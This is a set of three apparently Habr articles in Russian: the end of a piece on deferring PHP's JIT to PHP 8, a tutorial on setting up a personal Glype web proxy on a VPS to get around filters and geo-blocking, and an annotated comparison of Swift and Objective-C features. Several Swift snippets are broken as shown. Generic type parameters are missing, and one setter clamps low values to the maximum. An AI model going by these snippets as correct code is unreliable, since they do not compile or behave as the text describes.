Пришлось пойти на такой экстремальный компромисс, чтобы ускорить математические вычисления в PHP?
=================================================================================================
Нет. Мы пошли на это ради расширения спектра применения языка (и расширения значительного).
Не хотим хвастаться, но PHP доминирует в вебе. Если вы занимаетесь веб-разработкой и не рассматриваете использование PHP в своём следующем проекте, то вы что-то делаете неправильно (по мнению очень предвзятого разработчика PHP).
На первый взгляд может показаться, что ускорение математических вычислений в PHP имеет очень узкое применение. Однако это открывает нам дорогу, например, к машинному обучению, 3D-рендерингу, 2D-рендерингу (GUI) и анализу данных.
Почему это нельзя реализовать в PHP 7.4?
========================================
Выше я назвал JIT экстремальным компромиссом, и я действительно так считаю: это одна из самых сложных стратегий компилирования среди всех существующих, если не самая сложная. Внедрение JIT — это значительное повышение сложности.
Если вы спросите Дмитрия, автора JIT, сделал ли он PHP сложным, он ответит: «Нет, я ненавижу сложность» (это цитата).
По сути, «сложное» означает «то, что мы не понимаем». И сегодня мало кто из разработчиков языка действительно понимает имеющуюся реализацию JIT.
Работа над PHP 7.4 идёт быстрыми темпами, и внедрение JIT в эту версию приведёт к тому, что лишь единицы смогут отлаживать, исправлять и улучшать язык. Это неприемлемо для тех, кто голосовал против JIT в PHP 7.4.
До релиза PHP 8 многие из нас будут разбираться в реализации JIT. Есть фичи, которые мы хотим реализовать, и инструменты, которые хотим переписать для восьмой версии, поэтому вникнуть в JIT нам необходимо в первую очередь. Нам нужно это время, и мы очень благодарны, что большинство проголосовали за то, чтобы дать нам его.
Сложное не синоним ужасного. Сложное может быть прекрасным как звёздная туманность, и это как раз про JIT. Иными словами, даже когда у нас в команде человек 20 станут разбираться в JIT не хуже Дмитрия, это не изменит сложности самой природы JIT.
Разработка PHP замедлится?
==========================
Нет причин так думать. У нас достаточно времени, поэтому можно утверждать, что к моменту готовности PHP 8 среди нас будет достаточно тех, кто освоился с JIT настолько, чтобы работать не менее эффективно, чем сегодня, когда речь пойдёт об исправлении ошибок и развитии PHP.
Когда будете пытаться соотнести это с представлением об изначальной сложности JIT, помните, что большая часть времени, которое мы тратим на внедрение новых фич, уходит на их обсуждение. Чаще всего при работе над фичами и исправлении ошибок написание кода занимает минуты или часы, а обсуждения — недели или месяцы. В редких случаях код приходится писать часами или днями, но и тогда обсуждения всегда длятся дольше.
Это всё, что я хотел сказать.
> И раз уж мы заговорили о производительности, приглашаю на доклад моего коллеги Павла Мурзакова 17 мая на конференции [PHP Russia.](https://phprussia.ru/2019/abstracts/5154) Паша знает, как выжать последнюю CPU секунду из PHP-кода! | https://habr.com/ru/post/448622/ | null | ru | null |
# Простой личный анонимайзер
В свете последних событий и вероятного будущего, нам всем может понадобиться удобная утилита, которая позволяет смотреть на Web глазами цивилизованного европейца, а лучше голландца. Это может быть нужно для проверки доступности сайта, обхода слишком навязанного геотрекинга, неуместного черного списка или для осуществления любой другой легитимной законной деятельности в интернетах, которую нам не позволяют в данной сети неправильно сконфигурированный шлюз или прокси-сервер.
Конечно, можно воспользоваться публичным анонимайзером, ТОРом или VPN'ом, но это не всегда удобно и не всегда возможно: например, публичный терминал в интернет-кафе или любой компьютер, на котором у нас нет прав, не позволит нам воспользоваться TOR'ом или VPN, а «анонимные прокси» вообще вещь в себе: никогда не знаешь как монетизирован именно этот хост. Личный анонимайзер же будет работать на любом устройстве и с большой вероятностью не будет заблокирован на бордере. Предлагаемый метод не отменяет TOR или VPN (или SSH), а дополняет их возможностью доступа с чужих хостов.
Нулевое необязательное требование: домен. Это около 10 долларов в год, в принципе не обязательно, но удобно и желательно.
Во-первых, нам понадобится личный экзит-поинт в нужной стране. К нашим услугам [www.leaseweb.com](https://www.leaseweb.com/), где всего за 9 евро в месяц можно пользоваться VPS'кой. Очень полезный в хозяйстве инструмент для многих нужд! На этом хосте должен быть настроен Apache и PHP, я опущу этот вопрос, так как он достаточно подробно освещен другими.
Во-вторых, нам понадобится скрипт, который будет показывать собственную адресную строку, искомый сайт во фрейме ниже и будет обладать другими полезными опциями вроде скрэмблера URL'ов, выкидывания всего embedded-хлама и кукисов, хранение кукисов на стороне сервера и т.п. Решений несколько, простое и работающее — Glype Proxy, который можно взять на [glype.com](http://glype.com/).
Установка скрипта проста.
1 — скачиваем сам архив со скриптом.
2 — создаем директорию в своем DocRoot'е c ничего не говорящим названием, например, wabba. Это нужно для обхода потенциального фильтра и для сокрытия его от лишних людей и роботов.
3 — распаковываем скрипт в эту директорию.
4 — поправляем права:
```
[root@D002 wabba]# cd /var/www/wabba/
[root@D002 wabba]# chown apache.apache -R /var/www/wabba/
[root@D002 wabba]# chmod 755 includes/
[root@D002 wabba]# chmod 755 tmp/
[root@D002 wabba]# chmod 755 plugins/
```
5 — заходим по адресу [yourdoman.com/wabba](http://yourdoman.com/wabba/), если ошибок нет, то скрипт спросит нас о новом администраторе и пароле для него.
6 — заходим опять на наш анонимайзер и видим, что все работает:
7 (optional) — чтобы оградиться от ошибок в Glype и не дать пользоваться инструментом посторонним, мы можем сделать .htacces в котором позволим заходить в директорию wabba только себе.
8 (optional) — чтобы скрыть работу скрипта от чужих глаз, можно разрешить доступ к wabba только по https. Подойдет и самоподписанный сертификат.
9 (even more optional) — можем заплатить 10 долларов разработчикам, убрать из скрипта все ссылки на его разработчиков, сделать ему новую тему с рекламой ~~и полным логгированием и запустить продажу логов интересующимся~~ Шутка, но многие владельцы анонимайзеров так и делают.
Все! Можно пользоваться, во имя Луны.
**UPD:** занятно, что статья вызвала падение кармы без наличия комментариев по вопросу, хотя, я думал, что она эмоционально-нейтральная. Хоть бы чиркнули в коммент что не так. | https://habr.com/ru/post/158829/ | null | ru | null |
# Симметрическая разность возможностей Swift и Objective-C
В этой статье я расскажу о различии возможностей, которые предоставляют iOS-разработчикам языки Swift и Objective-C. Безусловно, разработчики, которые интересовались новым языком от Apple, уже видели немало подобных статей, поэтому я решил акцентировать внимание на тех отличиях, которые действительно влияют на процесс разработки и на архитектуру приложения. То есть, те отличия, которые следует знать, чтобы использовать язык максимально эффективно. Я попытался составить наиболее полный список, удовлетворяющий этим критериям.
Кроме того, рассказывая о новых возможностях, которые Swift привнёс в разработку, я постарался не забыть упомянуть то, что он потерял по сравнению с Objective-C.
Для каждого пункта я попытался кратко изложить суть отличия, не вдаваясь в детали, а примеры кода — наоборот сделать подробными. В них я прокомментировал все нюансы, даже те, которые не имеют непосредственного отношения к рассматриваемому отличию.
*На момент написания статьи текущая версия Swift — 3.0.1.*
1. Классы, структуры и перечисления
-----------------------------------
Классы в Swift не имеют одного общего предка, вроде NSObject в Objective-C. Более того, классы могут не иметь предка вообще.
Структуры в Swift почти настолько же функциональны как классы. Они, как и классы, могут иметь статические и обычные свойства и методы, инициализаторы, индексы (subscripts), расширения и могут реализовывать протоколы. От классов они отличаются тем, что передаются по значению и не имеют наследования.
```
// Пример структуры, демонстрирующий её возможности.
/* Класс определяется так же.
То есть, если в примере заменить слово struct на class,
весь код останется корректным. */
struct Rocket {
// Свойство типа массив элементов типа Stage.
// Ключевым словом var определяется переменная, словом let - константа.
var stages: [Stage]
/* Статическое свойство типа Int.
Тип определяется компилятором из инициализации. */
static let maxAllowedStages = 4
/* Метод, который не принимает аргументов и не возвращает значения.
Это сокращенная запись для launch() -> Void или launch() -> ()
Где Void на самом деле typealias для ()
А () обозначает пустой кортеж.
Так что на самом деле этот метод возвращает пустой кортеж. */
func launch() {
// ...
}
// Статический метод типа ([Stage]) -> Double
static func calculateHeight(for stages: [Stage]) -> Double {
/* Метод reduce определён для коллекций в Swift.
Он преобразовывает коллекцию в одно значение.
Для этого он принимает начальное значение и замыкание,
которое вызывается для каждого элемента коллекции.
Оно должно, основываясь на уже аккумулированном значении и
элементе коллекции, вычислить новое значение аккумулятора. */
return stages.reduce(0) { (accumulator, stage) -> Double in
return accumulator + stage.height
}
}
/* Failable инициализатор,
то есть тот, который может вместо экземпляра вернуть nil.
Обычные инициализаторы объявляются без вопросительного знака после слова init. */
init?(stages: [Stage]) {
if stages.count > Rocket.maxAllowedStages {
return nil
}
self.stages = stages
}
/* Индекс (subscript) позволяет обращаться к объекту через квадратные скобки
как к массиву или к словарю.
rocket[1] = stage */
/* Здесь мы просто делегируем индекс внутреннему массиву,
но можно написать свою логику. */
/* Один тип может определять несколько индексов,
но они должны принимать разные типы. */
subscript (index: Int) -> Stage {
get {
return stages[index]
}
set(newValue) {
stages[index] = newValue
}
}
}
/* Объявим протокол, определяющий требования к объекту для транспортировки на поезде:
возможность быть разобранным по вагонам и собранным обратно. */
protocol TransportableByTrain {
func placeOnTrain() -> [Carriage]
init(train: [Carriage])
}
/* Расширения позволяют добавлять к существующим классам, структурам и перечислениям
свойства, методы, инициализаторы, индексы, вложенные типы и реализацию протоколов. */
extension Rocket: TransportableByTrain {
func placeOnTrain() -> [Carriage] {
return stages.map { stage in
return Carriage(content: stage)
}
}
init(train: [Carriage]){
let stages = train.map {
$0.content as! Stage
}
self.init(stages: stages)!
}
}
```
Перечисления в Swift могут не иметь под собой значений.
```
// Перечисление без rawValue.
enum LaunchState {
case preparing, ready, launching, failed, succeeded
}
```
Но, если значения есть, то они могут быть не только целыми числами, но и вещественными числами, и строками, и символами. Экземпляры перечислений автоматически не приводятся к типам внутренних значений, поэтому для доступа к ним следует использовать свойство `rawValue`.
```
// Перечисление с rawValue.
enum LaunchEvent: Int {
case poweredOn = 1, fuelLoaded, oxidizerLoaded, countAutoSequenceStarted,
goForlaunchVerification, preLaunchChecks, pressurizePropellantTanks,
ignitionSequenceStart, liftoff
}
let lastEvent = LaunchEvent.liftoff
lastEvent.rawValue // 9
/* Перечисления с `rawValue` автоматически получают failable инициализатор
из соответствующего типа. */
let firstEvent = LaunchEvent(rawValue: 1) //LaunchSequence.poweredOn
let nonexistentEvent = LaunchEvent(rawValue: 0) //nil
```
Если перечисление не имеет `rawValue`, то каждый case перечисления может иметь собственные ассоциированные значения. Их может быть несколько, и они могут быть любых типов.
```
// Перечисление с ассоциированными значениями.
enum LaunchError {
case compromisedHullIntegrity(stage: Stage)
case engineMalfunction(engine: Engine, malfunction: Malfunction)
case unrecognizedError
}
```
Перечисления, также как и структуры, передаются по значению. И они имеют те же, приведённые выше, возможности, кроме хранимых свойств. Свойства у перечислений могут быть только вычисляемыми (computed properties).
```
// Статическое вычисляемое свойство у перечисления.
extension LaunchEvent {
static var sequence: [LaunchEvent] {
return Array(1...9).map { LaunchEvent(rawValue: $0)! }
}
}
```
Подробнее о перечислениях: [[1]](https://appventure.me/2015/10/17/advanced-practical-enum-examples/)
Эта богатая функциональность структур и перечислений позволяет нам использовать их вместо классов там, где значения уместнее, чем объекты. Целью этого разделения является упрощение архитектуры приложения. Подробнее об управлении сложностью: [[2]](https://realm.io/news/andy-matuschak-controlling-complexity/)
2. Типы функции, методов и замыканий
------------------------------------
В Swift функции, методы и замыкания — это first class citizens, то есть они имеют типы и могут быть сохранены в переменных и переданы как параметр в функцию. Типы функций, методов и замыканий определяются только возвращаемым и принимаемыми значениями. То есть, если объявлена переменная определённого типа, то в неё можно сохранить как функцию, так и метод или замыкание. Экземпляры этих типов передаются по ссылке.
Подобная унификация сущностей привела к упрощению их использования. В Objective-C передача объекта и селектора или передача блока решали, в принципе, одну и ту же проблему. В Swift подобный API будет требовать что-то со определённым принимаемыми и возвращаемым значениями, а что именно туда будет передано: функция, метод или замыкание; не имеет значения.
```
/* Метод reduce, который мы использовали в calculateHeight имеет следующий тип.
(Result, (Result, Element) throws -> Result) rethrows -> Result
Но в этом примере мы опустим детали, связанные с обработкой ошибок: throw и
rethrows; а generic тип Result и ассоциированный тип Element заменим на
конкретные типы Double и Stage.
С такими допущениями можно сказать, что метод reduce имеет следующий вид.
(Double, (Double, Stage) -> Double) -> Double
Метод принимает два параметра: первый типа Double, а второй - замыкание,
принимающее Double и Stage, а возвращающее Double. И сам метод, в свою
очередь, тоже возвращает Double. */
// Наиболее полная запись вызова этого метода с замыканием выглядит так:
let totalHeight = stages.reduce(0, { (accumulator: Double, stage: Stage) -> Double in
return accumulator + stage.height
})
/* Но обычно используется более короткая запись.
Во-первых, из типа метода reduce компилятор уже знает возвращаемые и принимаемые
значения параметра-замыкания, так что их можно опустить.
Во-вторых, если замыкание - последний параметр в списке, то его можно вынести
за скобки. */
let totalHeight = stages.reduce(0) { accumulator, stage in
return accumulator + stage.height
}
/* Подобная запись наиболее распространена.
Но на этом возможности сокращения не ограничены.
Можно не приводить своих имён для параметров замыкания. В таком случае
обращаться к ним можно через $0, $1 и так далее по порядку.
Если замыкание содержит только одно выражение, то можно опустить ключевое
слово return. */
let totalHeight = stages.reduce(0) { $0 + $1.height }
/* Более того, операторы в swift тоже обладают теми же типами, что и функции,
методы и замыкания.
В нашем примере оператор + не определён для типов Double и Stage, но если бы
мы из массива ступеней [Stage] получили бы массив высот [Double], и уже у него
вызвали метод reduce, то второй параметр имел бы тип (Double, Double) -> Double.
А для Double оператор + определён, так что вместо замыкания мы могли бы просто
передать его. */
let totalHeight = stages.map{ $0.height }.reduce(0, +)
```
3. Параметры по-умолчанию
-------------------------
Параметры функций и методов могут иметь значения по-умолчанию.
Использование параметров по-умолчанию вместо нескольких функций/методов уменьшает количество кода, а меньше кода — меньше багов.
```
enum Destination {
case lowEarthOrbit, geostationaryEarthOrbit, transLunarInjection
}
class RocketFactory {
/* Значения по-умолчанию указываются в объявлении после типа параметра через
знак '='. */
func makeRocket(destination: Destination = Destination.lowEarthOrbit,
payloadMass: Double = 6450) -> Rocket {
//...
}
}
let rocketFactory = RocketFactory()
// Параметры со значениями по-умолчанию можно опускать при вызове.
let soyuz = rocketFactory.makeRocket()
let protonM = rocketFactory.makeRocket(destination: Destination.geostationaryEarthOrbit)
let saturnV = rocketFactory.makeRocket(destination: Destination.transLunarInjection, payloadMass: 48600)
```
4. Optionals
------------
Переменные никаких типов не могут принимать значения `nil`. В Swift используется специальный тип `Optional`, в который “оборачиваются” другие типы, если есть необходимость представить отсутствие значения.
`Optional` — это перечисления с двумя кейсами: `none` и `some`. `Optional.some(Wrapped)` содержит значение обёрнутого типа как ассоциированное значение.
`Optional.none` эквивалентен литералу `nil`.
В `Optional` может обернут как ссылочный тип так и передающийся по значению.
```
struct Launchpad {
// Удобная запись для optional типа.
var rocket: Rocket?
/* Без синтаксического сахара это бы выглядело следующим образом:
var rocket: Optional \*/
}
```
Для того чтобы обращаться к свойствам и методам optional значений, сначала нужно эти optional значения развернуть, то есть убедиться, что они не `nil`. Безусловно, этого можно достичь работая с optional значениями как с обычным перечислениями, например с помощью switch, но в Swift для этого есть более удобные конструкции конструкции: `if let`, `guard let else`; операторы: `?`, `!`, `??`.
```
/* Самый простой, но небезопасный способ развернуть optional переменную - это
оператор '!'. Он вернёт не optional тип в случае успеха, но вызовет runtime error и
падение приложения, если внутри nil. */
launchpad.rocket!.launch()
func start() {
/* Типовым способом разворачивать optional значения является использование
конструкции if let. */
if let rocket = launchpad.rocket {
/* Таким образом, внутри успешной ветки мы получаем новую переменную
не optional типа. */
rocket.launch()
} else {
// А в ветке else можем обработать отсутствие значения в optional переменной.
abortStart()
}
}
/* В ситуациях, когда продолжать выполнение не имеет смысла, если optional
значение равно nil, для разворачивания optional значений удобно использовать
конструкцию guard let else. */
func start2() {
/* В отличии от if let она объявляет новую переменную с не optional типом в текущем
контексте, а внутри else блока следует обработать попадание на nil и выйти из
контекста. */
guard let rocket = launchpad.rocket else {
abortStart()
return
}
rocket.launch()
}
/* Есть способ обращаться к свойствам и методам optional значения, не разворачивая
его. Это оператор '?'. При таком вызове мы не получаем никакой обратной связи о
наличии или отсутствии значения.
Возвращаемое значение такого вызова всегда будет optional. */
launchpad.rocket?.launch()
var possibleLaunchpad: Launchpad?
// Таким образом можно связывать несколько optional значений.
possibleLaunchpad?.rocket?.launch()
possibleLaunchpad?.rocket?.stages //Return type: [Stages]?
/* Ещё для работы с optional значениями есть оператор '??'. Он имеет два операнда.
Первый - optional значение, а второй - не optional того же типа.
Если первый операнд не nil, то значение разворачивается и возвращается, иначе
возвращается второй операнд. */
let certainRocket = possibleLaunchpad?.rocket ?? rocketFactory.makeRocket()
```
Подобные ограничения делают сложным неожиданное попадание на nil значение, что делает Swift код более надёжным.
5. Вложенные типы
-----------------
В Swift можно объявлять вложенные типы, то есть классы, структуры и перечисления могут быть объявлены внутри друг друга.
```
/* Если бы мы захотели выделить запуск в отдельную сущность, то смогли бы
получить что-то подобное. */
struct Launch {
enum State {
case preparing, ready, launching, failed, succeeded
}
// Внутри контекста к вложенному типу можно обращаться просто по имени.
var state: State = .preparing
}
/* Снаружи к вложенному типу, если он доступен, можно обращаться через имя
внешнего типа. */
let launchState: Launch.State
```
Функции тоже можно объявлять внутри других функций. Но фактически внутренние функции — это замыкания, и они могут захватывать контекст внешней функции.
6. Кортежи
----------
Ещё новые типы в Swift — это кортежи. Кортежи позволяют объединять несколько значений любых типов в одно составное значение. Кортежи передаются по значению.
```
/* Задавая тип кортежа, значениям можно давать имена, чтобы в дальнейшем
обращаться по ним, а не по номеру. */
var launchEventMark: (event: LaunchEvent, timeMark: Int) = (.ignitionSequenceStart, 6600)
launchEventMark.event
launchEventMark.timeMark
// Впрочем, обращение по номеру в таком случае не исчезает.
launchEventMark.0
launchEventMark.1
/* Следует заметить, что если мы объявим кортеж со значениями тех же типов, но без
названий, то получим кортеж того же типа и сможем присвоить предыдущее
значение новой переменной. */
var anotherMark: (LaunchEvent, Int) = launchEventMark
anotherMark.0
anotherMark.event // error: type has no member 'event'
```
7. Getters, setters and property observers
------------------------------------------
В отличие от Objective-C, в Swift getter и setter можно определять только для вычисляемых свойств. Конечно, для хранимых свойств как getter и setter можно использовать методы или вычисляемое свойство.
```
// Реализация getter'а и setter'а с помощью вычисляемого свойства.
class ThrustController {
init(minThrust: Double, maxThrust: Double, currentThrust: Double) {
self.minThrust = minThrust
self.maxThrust = maxThrust
thrust = currentThrust
}
var minThrust: Double
var maxThrust: Double
private var _thrust = 0.0
var thrust: Double {
get {
return _thrust
}
set {
if newValue > maxThrust {
_thrust = maxThrust
} else if newValue < minThrust { //
_thrust = maxThrust
} else {
_thrust = newValue
}
}
/* По-умолчанию, присваиваемое значение из setter'а доступно по имени
newValue, но можно дать ему и своё имя: */
// set(thrustInput) { ... }
}
}
/* Но, вообще, вычисляемые свойства обычно используются в ситуациях, когда
значение может быть вычислено на основании других свойств, а не для
валидации значений. */
```
Для задач, решение которых требует отслеживать изменение значения свойства, появился новый механизм — property observers. Их можно определять для любого хранимого свойства. Они бывают двух видов: `willSet` (вызывается перед изменением значением свойства) и `didSet` (вызывается сразу после установки нового значения).
```
protocol ThrustObserver: class {
func thrustWillChange(from oldValue: Double, to newValue: Double)
func thrustDidChange(from oldValue: Double, to newValue: Double)
}
class ThrustMeter {
weak var observer: ThrustObserver?
var thrust: Double = 0.0 {
willSet {
observer?.thrustWillChange(from: thrust, to: newValue)
}
didSet {
observer?.thrustDidChange(from: oldValue, to: thrust)
}
// Как и в случае с set, имена newValue и oldValue можно заменить на свои.
// willSet(newThrust) { ... }
// didSet(oldThrust) { ... }
}
}
```
Следует заметить, что для структур property observers вызываются не только на непосредственное изменение значения свойства, для которого они объявлены, но и на изменение вложенных свойств любой глубины.
Для ленивой инициализации, которую в Objective-C можно реализовать через getter, в Swift есть модификатор свойств `lazy`.
8. Изменяемость свойств и коллекций
-----------------------------------
В Swift свойства типов могут быть константами. Причём, если тип свойства, объявленного как константа, является классом, то есть типом передающимся по ссылке, то неизменяемой будет только сама ссылка. То есть нельзя будет присвоить новый объект этому свойству, а изменять свойства этого объекта — можно. Для типов, передающихся по значению, любое изменение будет недопустимо.
```
class ThrustMeterClass {
var thrust: Double
init(thrust: Double) {
self.thrust = thrust
}
}
struct ThrustMeterStruct {
var thrust = 0.0
}
let thrustMeterClass = ThrustMeterClass(thrust: 0)
thrustMeterClass = ThrustMeterClass(thrust: 50) //Error
thrustMeterClass.thrust = 50 //OK
let thrustMeterStruct = ThrustMeterStruct(thrust: 0)
thrustMeterStruct = ThrustMeterStruct(thrust: 50) //Error
thrustMeterStruct.thrust = 50 //Error
```
Так как в Swift все коллекции являются структурами, то их изменяемость определяется не типом, как в Objective-C, а способом объявления — константа или переменная. Коллекций в стандартной библиотеке три: массив, множество и словарь.
```
let immutableArray = [1, 2, 3]
var mutableArray = [1, 2, 3]
```
9. Протоколы с ассоциированными типами
--------------------------------------
В то время как обычные протоколы практически ничем не отличаются от аналогов из Objective-C, протоколы с ассоциированными типами — это совершенно новая конструкция в Swift. Протоколы могут объявлять ассоциированные типы и использовать их как placeholder в своих требованиях к методам и свойствам. А то, что реализует этот протокол, уже должно будет указать какой реальный тип будет использован.
```
// Объявим несколько пустых обычных протоколов для последующих примеров.
protocol Fuel {}
protocol Oxidizer {}
// Объявим несколько типов, реализующих эти протоколы.
struct Hydrazine: Fuel {}
struct ChlorineTrifluoride: Oxidizer {}
struct Kerosene: Fuel {}
struct Oxygen: Oxidizer {}
// Протокол с ассоциированными значениями.
protocol Bipropellant {
/* На ассоциированные типы можно накладывать требования реализации
протоколов или наследования классов. */
associatedtype TFuel: Fuel
associatedtype TOxidizer: Oxidizer
func burn(_ fuel: TFuel, with oxidizer: TOxidizer)
}
// Объявим тип с реализацией такого протокола.
struct KoxPropellant: Bipropellant {
/* Указать компилятору, какой именно конкретный тип будет использован в этой
реализации протокола, можно с помощью typealias. Но в данном случае это не
обязательно так как он может сам это вывести из сигнатуры метода burn. */
typealias TOxidizer = Oxygen
typealias TFuel = Kerosene
func burn(_ fuel: Kerosene, with oxidizer: Oxygen) {
print("Burn of kerosene with oxygen.")
}
}
/* Протоколы также могут наследоваться от других протоколов как это было и в
Objective-C. */
protocol Hypergolic: Bipropellant {}
struct HctPropellant: Bipropellant, Hypergolic {
typealias TOxidizer = ChlorineTrifluoride
typealias TFuel = Hydrazine
func burn(_ fuel: Hydrazine, with oxidizer: ChlorineTrifluoride) {
print("Burn of hydrazine with chlorine trifluoride.")
}
}
```
В то время как обычные протоколы можно использовать как конкретный тип:
```
struct AnyFuelTank {
/* В такую переменную можно сохранить значение любого типа, реализующего
протокол Fuel. */
var content: Fuel
}
var fuelTank = AnyFuelTank(content: kerosene)
fuelTank.content = hydrazine
```
Протоколы с ассоциированными типами так использовать нельзя.
```
struct RocketEngine {
// Такая запись не компилируюется.
var propellant: Bipropellant
/* Error: Protocol 'Bipropellant' can only be used as a generic constraint
because it has Self or associated type requirements */
}
```
Как видно из сообщения об ошибке, протоколы с ассоциированными значениями можно использовать только как ограничение на generic тип.
```
struct RocketEngine {
var propellant: TBipropellant
}
```
С некоторыми размышления на тему, почему это так и как с этим жить, можно ознакомиться здесь: [[3]](https://youtu.be/XWoNjiSPqI8).
В целом про протоколы с ассоциированными значениями неплохо рассказано в этой серии статей: [[4]](http://www.russbishop.net/swift-associated-types).
10. Расширения протоколов
-------------------------
Расширения (extensions) классов, структур и перечислений в Swift в основном похожи на категории и расширения из Objective-C, то есть они позволяют добавлять поведение типу, даже если нет доступа к его исходному коду. Расширения типов позволяют добавлять вычисляемые свойства, методы, инициализаторы, индексы (subscripts), вложенные типы и реализовывать протоколы.
Расширения протоколов являются новой возможностью в Swift. Они позволяют предоставлять типам, реализующим этот протокол, реализацию свойств и методов по-умолчанию. То есть в расширении протокола описываются не требования, а уже конкретная реализация, которую получат типы, реализующие этот протокол. Разумеется, типы могут переопределять эту реализацию. Подобная реализация по-умолчанию позволяет заменить необязательные требования протокола, которые в Swift существуют только в рамках совместимости с Objective-C.
```
// Все типы, реализующие этот протокол, получат эту имплементацию метода.
extension Bipropellant {
func burn(_ fuel: TFuel, with oxidizer: TOxidizer) {
print("Common burn.")
}
}
```
Кроме того, в расширении протокола можно реализовывать методы, которых нет в требованиях протокола, и реализующие протокол типы эти методы тоже получат. Но использовать расширения протоколов таким образом следует с осторожностью из-за статического связывания. Подробнее здесь: [[5]](https://nomothetis.svbtle.com/the-ghost-of-swift-bugs-future).
Более того можно конкретизировать расширения протоколов так, чтобы не все типы реализующие протокол получили реализацию по умолчанию. Условия могут требовать чтобы тип наследовался от определённого класса или реализовывал определённые протоколы. Условия могут накладываться на сам тип, реализующий протокол и на ассоциированные типы. В случае, если разные расширения предоставляют реализацию одного и того же метода, и тип удовлетворяет условиям нескольких расширений, то он получит ту реализацию, условие расширения которой было более конкретно. Если такого нет, то тип не получит никакой реализации.
```
/* Так как это расширение более конкретизировано, чем предыдущее, то типы
удовлетворяющие требованию получат эту имплементацию метода. */
extension Bipropellant where Self.TOxidizer == Oxygen {
func burn(_ fuel: TFuel, with oxidizer: TOxidizer) {
print("Burn with oxygen as oxidizer.")
}
}
/* Можно накладывать несколько требований через запятую. Требования
объединяются логическим И. */
extension Bipropellant where Self: Hypergolic, Self.TFuel == Hydrazine {
func burn(_ fuel: TFuel, with oxidizer: TOxidizer) {
print("Self-ignited burn of hydrazine.")
}
}
```
```
/* Так как упомянутые ранее типы KoxPropellant и HctPropellant определяют свои
реализации метода burn, то они не получают реализации из расширений
протокола Bipropellant. */
let koxPropellant = KoxPropellant()
koxPropellant.burn(kerosene, with: oxygen) // Burn of kerosene with oxygen.
let hctPropelant = HctPropellant()
hctPropelant.burn(hydrazine, with: chlorineTrifluoride) // Burn of hydrazine with chlorine trifluoride.
// Но если для них не определять метод burn, то они получили бы следующие реализации.
koxPropellant.burn(kerosene, with: oxygen) // Burn with oxygen as oxidizer.
hctPropelant.burn(hydrazine, with: chlorineTrifluoride) // Self-ignited burn of hydrazine.
```
В целом о расширении протоколов можно посмотреть в WWDC15 “Protocol-Oriented Programming in Swift” by Dave Abrahams [[6]](https://developer.apple.com/videos/play/wwdc2015/408/)
11. Generics
------------
В отличие от Objective-C, в Swift generic могут быть не только классы, но и структуры, перечисления и функции.
В Swift условия на generic тип могут накладываться те же условия, что и в Objective-C, то есть наследоваться от определённого класса или реализовывать определённые протоколы. Кроме них, если в условиях есть требование на реализацию протокола с ассоциированными типами, то можно накладывать аналогичные условия и на них.
```
// Без ограничений Tank может быть специализирован для любого типа.
struct Tank {
var content: TContent
}
// Ограничение на реализацию протокола.
struct FuelTank {
var content: TFuel
}
// Ограничение на реализацию протокола и ассоциированный тип.
struct OxygenEngine where TBipropellant.TOxidizer == Oxygen {
var fuel: TBipropellant.TFuel
var oxidizer: Oxygen
}
```
12. Пространство имён
---------------------
В Objective-C для избежания конфликтов имён приходится использовать префиксы в названиях классов и протоколов.
В Swift у каждого модуля есть своё пространство имён, и в случае пересечения названий типов к нужному можно обратиться через имя его модуля. Возможности объявить своё пространство имён, чтобы разделить типы внутри одного модуля, пока нет.
13. Контроль доступа
--------------------
В Objective-C контроль доступа осуществляется разнесением интерфейса по двум файлам. Интерфейсы публичных свойств и методов указываются в заголовочном файле, а интерфейсы приватных — в файле реализации.
В Swift нет разделения объявления типа на два файла, и контроль доступа осуществляется с помощью специальных модификаторов.
Swift 3:
* `open` — доступ из этого модуля и из модулей импортирующих этот модуль.
* `public` — полноценный доступ из этого модуля, а из модулей импортирующих этот модуль доступ без возможности наследования классов и переопределения методов.
* `internal` — доступ только из этого модуля.
* `fileprivate` — доступ только из этого файла.
* `private` — доступ только из этого объявления или расширения.
14. Обработка ошибок
--------------------
В Objective-C используется два механизма для обработки ошибок: `NSException` и `NSError`. Механизм исключений с `NSException` это бросание и ловля ошибок конструкциями `@try`, `@catch`, `@finally`; а механизм с `NSError` это передача указателя на `NSError*` и последующая обработка установленного значения. Причём в Cocoa редко приходится ловить `NSException`, потому что `NSException` обычно используется для неисправимых ошибок, а для ошибок, требующих обработки, используется `NSError`.
В Swift есть нативный механизм обработки ошибок `do-try-catch`, который заменил `NSError`. Следует заметить что в этот механизме нет блока `finally`. Вместо него следует использовать блок `defer`, код которого исполняется при выходе из scope, и он, в принципе, не связан с обработкой ошибок и может быть использован в любом месте.
Что касается `NSException`, то, из-за совместимости с Objective-C, они работают, но ловить их в Swift нельзя.
```
protocol Technology {}
/* В качестве ошибки можно использовать любой тип, достаточно реализовать
протокол Error. Он не содержит никаких требований, но позволяет использовать
тип в конструкциях throw и catch. */
// Обычно для ошибок используются перечисления.
enum ConstructingError: Error {
case notEnoughFunding(shortage: Double)
case neccessaryTehcnologyIsNotAvailable(technology: Technology)
case impossibleWithModernTechnology
}
class ThrowingRocketFactory {
var funds: Double = 0.0
func estimateCosts() -> Double {
return 0.0
}
/* Метод, который может бросать ошибки, должен быть обозначен ключевым
словом throws после аргументов. */
func makeRocket(for destination: Destination, withPayloadMass payloadMass: Double) throws -> Rocket {
//...
if funds <= 0 {
throw ConstructingError.notEnoughFunding(shortage: estimateCosts())
}
//...
}
//...
}
let factory = ThrowingRocketFactory()
let destination = Destination.lowEarthOrbit
let payloadMass = 0.0
// Вызывать бросающие методы можно только с помощью ключевого слова try.
// Есть несколько вещей, которые можно делать с бросающими методами и их ошибками.
/* 1) Ошибку можно бросить дальше. Для этого метод, в котором вызывается
бросающий метод, тоже помечается как throws. */
func getRocket(forDestination destination: Destination, payloadMass: Double) throws -> Rocket {
let rocketFactory = ThrowingRocketFactory()
let rocket = try rocketFactory.makeRocket(for: destination, withPayloadMass: payloadMass)
return rocket
}
/* 2) Ошибку можно поймать. Для этого вызов бросающего метода должен находиться
в блоке do, а последующие блоки catch должны поймать все возможные ошибки. */
do {
let rocket = try factory.makeRocket(for: destination, withPayloadMass: payloadMass)
} catch ConstructingError.notEnoughFunding(let shortage) {
print("Find money: \(shortage)")
} catch ConstructingError.neccessaryTehcnologyIsNotAvailable(let technology) {
print("Find alternatives for: \(technology)")
} catch {
print("Impossible to create such rocket.")
}
/* 3) Результат бросающего метода можно превратить в optional, отказавшись от
информации об ошибке. */
if let rocket = try? factory.makeRocket(for: destination, withPayloadMass: payloadMass) {
//...
}
